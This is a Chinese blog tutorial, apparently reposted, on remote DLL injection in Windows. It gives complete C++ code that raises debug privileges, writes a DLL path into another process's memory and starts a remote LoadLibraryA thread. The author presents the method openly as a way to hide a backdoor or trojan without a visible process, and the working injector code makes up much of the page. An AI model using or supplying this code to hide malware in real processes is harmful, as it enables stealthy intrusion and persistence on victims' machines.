远程注入DLL(简单描述)

远程注入DLL(简单描述)

远程注入DLL

建议在阅读本文前先阅读取得句柄的令牌 OpenProcessToken()函数一文!

没错,现在讨论的就是传说中的远程注入技术,目前一种非常流行的隐藏技术,因为它没有进程,是通过远程插入线程调用DLL文件实现的!在这里先说一下.dll文件,.dll文件,其实就是动态连接库,它里面装封了提供.exe文件调用的函数,一般情况下,双击它,是不能运行它的,它只能由.exe来调用,于是就有了远程注入了,原理很简单:我们把后门的主要功能写成一个函数,然后装封到.dl文件中,然后再另外写一个执行文件来启动它,这样就不会有后门的进程了。那远程注入又指什么呢?这个问题问得好,一般情况下,每个进程都有自己的私有空间,理论上,别的进程是不允许对这个私人空间进行操作的,但是,我们可以利用一些方法进入这个空间并进行操作,将自己的代码写入正在运行的进程中,于是就有了远程注入了。

对dll后门的编写就不作过多的讨论了,现在来看实现注入功能的可执行文件的编写:
用到的函数有:
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();

先简单的介绍以下这些函数的作用,因为我们要操作的是系统中的其他进程,如果没有足够的系统权限,我们是无法写入甚至连读取其它进程的内存地址的,所以我们就需要提升自己的权限,用到以下3个函数

OpenProcessToken();                          //打开进程令牌
LookupPrivilegeValue();                   //返回一个本地系统独一无二的ID,用于系统权限更改
AdjustTokenPrivileges(); //从英文意思也能看出它是更改进程权限用的吧?

进入宿主进程的内存空间
在拥有了进入宿主进程空间的权限之后,我们就需要在其内存加入让它加载我们后门的代码了,用LoadLibraryA()函数就可以加载我们的DLL了,它只需要DLL文件的路径就可以了,在这里我们要把DLL文件的路径写入到宿主的内存空间里,因为DLL的文件路径并不存在于宿主进程内存空间了,用到的函数有:

OpenProcess();//用于修改宿主进程的一些属性,详细参看MSDN
VirtualAllocEx();//用于在宿主内存空间中申请内存空间以写入DLL的文件名
WriteProcessMemory();//往申请到的空间中写入DLL的文件名

在宿主中启动新的线程
用的是LoadLibraryA()函数来加载,但在使用LoadLibraryA()之前必须知道它的入口地址,所以用GetProcAdress来获得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()函数来启动新的线程了,到次,整个注入过程完成,不过还不非常完善,这就留给聪明的你来完成了;)。

简单的例子:

#include <windows.h>
#include <iostream.h>

int EnableDebugPriv(const char * name)
{
                           HANDLE hToken;
                           TOKEN_PRIVILEGES tp;
                           LUID luid;
                           //打开进程令牌环
                           OpenProcessToken(GetCurrentProcess(),
                                           TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                                           &hToken);
                           //获得进程本地唯一ID
                           LookupPrivilegeValue(NULL,name,&luid) ;
     
                           tp.PrivilegeCount = 1;
                           tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                           tp.Privileges[0].Luid = luid;
                           //调整权限
                           AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

                           return 0;
}

//*****************************************************************************************************************************

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
                           HANDLE hRemoteProcess;
                           EnableDebugPriv(SE_DEBUG_NAME);
                           //打开远程线程
                           hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

                           char *pszLibFileRemote;

                           //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
                           pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,

                                                   MEM_COMMIT, PAGE_READWRITE);

                           //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
                           WriteProcessMemory(hRemoteProcess,
                                       pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);

//##############################################################################
                           //计算LoadLibraryA的入口地址
                           PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

                                   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

                           //(关于GetModuleHandle函数GetProcAddress函数)

                           //启动远程线程LoadLibraryA,通过远程线程调用创建新的线程
                           HANDLE hRemoteThread;
                           if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)

                           {
                               cout<<"注入线程失败!"<<endl;
                               return FALSE;
                           }
//##############################################################################

                           /*
                           // 在//###.....//###里的语句也可以用如下的语句代替:
                            DWORD dwID;
                            LPVOID pFunc = LoadLibraryA;
                            HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
                            //是不是感觉简单了很多
                           */

                             // 释放句柄

                           CloseHandle(hRemoteProcess);
                           CloseHandle(hRemoteThread);

                           return TRUE;
}

//*****************************************************************************************************************************

int main()
{
                           InjectDll("c:\\zrqfzr.dll",3060) ;//这个数字是你想注入的进程的ID号
                           return 0;
}

此程序在VC6.0里编译通过!哈哈学会了吗?在NT系列操作系统中,EnableDebugPriv函数实现的部分可以去掉的。要研究木马这个技术可是基础。

http://hi.baidu.com/fpsixkukaiadmwr/item/19c1b1794a418647ee1e5339

时间: 2024-09-20 19:33:29

远程注入DLL(简单描述)的相关文章

reate emote hread-请教CreateRemoteThread远程注入进程的问题

问题描述 请教CreateRemoteThread远程注入进程的问题 我在控制台程序里用代码在宿主进程里注入一个MessageBox函数,能够成功运行,宿主进程显示对话框后一切正常,可是我用相同的代码在MFC创建的基于对话框程的序里,使用按钮来实现时,注入的对话框能够成功显示,但是一旦关闭注入的对话框,宿主进程就崩溃,我就纳闷了.我试过权限的问题,管理员权限运行也不行,在代码里改令牌也不行,请问到底什么原因导致的这种现象.以下是代码. 控制台程序 #include <windows.h> ty

32位程序对64位进程的远程注入实现

本文讲的是32位程序对64位进程的远程注入实现, 0x00 前言 要对指定进程进行远程注入,通常使用Windows提供的API CreateRemoteThread创建一个远程线程,进而注入dll或是执行shellcode. 在64位系统下,该方法需要特别注意,注入的目标进程要同程序的结构保持一致,即32位程序只能对32进程作注入,64位程序只能对64位进程作注入,32位程序对64位程序进行注入时会失败(32位和64位的结构不同). 然而,在某些特殊的环境下,无法提前预知目标进程的结构,准备两个

c++-注入DLL后无法找到API并HOOK

问题描述 注入DLL后无法找到API并HOOK 按照<WINDOWS核心编程>上的方法想HOOK MessageBoxA函数 我的实现如下 PopMB.exe 按确定键弹出一个MessageBox PushDLL.exe 用来注入DLL bool PushDll(ULONG ID){ //PopMB 的PROCESS ID void* pMemAddr=NULL; HANDLE hProc=NULL,hth=NULL; char DllName[128]; strncpy(DllName,DL

[C#] - 注入DLL

原文:http://xyzlht.blog.163.com/blog/static/69301417200882834211787/     using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Windows.Forms; us

win7-CreateRemoteThread返回非零值,WIN7 64位注入dll到explorer失败

问题描述 CreateRemoteThread返回非零值,WIN7 64位注入dll到explorer失败 2298为explorer的PID DLL为64位 ,process explorer查看不到explorer中有此DLL模块 // TODO: 在此添加控件通知处理程序代码 //This dll path should be relative to the target process or an absolute path char* dll = "D:\ggg\TEST_TrayCl

C++封装远程注入类CreateRemoteThreadEx实例_C 语言

本文实例讲述了C++封装远程注入类CreateRemoteThreadEx的方法,分享给大家供大家参考.具体方法如下: 首先,类初始化时传入要注入的DLL文件名 只使用两个函数 复制代码 代码如下: // 注入DLL到指定的地址空间 BOOL InjectModuleInto(DWORD dwProcessId); // 从指定的地址空间卸载DLL BOOL EjectModuleFrom(DWORD dwProcessId); .h头文件如下: 复制代码 代码如下: #pragma once 

windows-使用dll注入器注入dll的问题

问题描述 使用dll注入器注入dll的问题 我的电脑是win64位的,我在使用dll注入工具(v1.2.0.2)时,为什么不显示explorer.exe进程和其他的一些windows进程啊,求解. 解决方案 使用DLL的问题APC注入DLL(win7下有问题)APC注入DLL(win7下有问题)

Windows x86/ x64 Ring3层注入Dll总结_win服务器

0x01.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线程.Apc等等,这里我对Ring3层的Dll注入学习做一个总结吧. 我把注入的方法分成六类,分别是:1.创建新线程.2.设置线程上下背景文,修改寄存器.3.插入Apc队列.4.修改注册表.5.挂钩窗口消息.6.远程手动实现LoadLibrary. 那么下面就开始学习之旅吧! 0x02.预备工作 在涉及到注入的程序中,提升程序的权限自然是必不可少的,这里我提供了两个封装的函数,都可以用于提权.第一个是通过权限令牌来调整权限

《Java程序员面试秘笈》—— 面试题1 简单描述Java开发包的种类

面试题1 简单描述Java开发包的种类 考点:考察求职者对于Java体系的认识,属于Java程序员的必备知识. 出现频率: [面试题解析]随着Java语言的成长和壮大,Java的开发包根据用途的不同已经分为Java EE.Java SE和Java ME 3个开发包,求职者需要列出名称,并具体描述每个开发包的用途. 参考答案: Java SDK的版本分类如下所述. Java ME:(Java Platform Micro Edition)一种以广泛的消费性产品为目的的高度优化的Java运行环境,包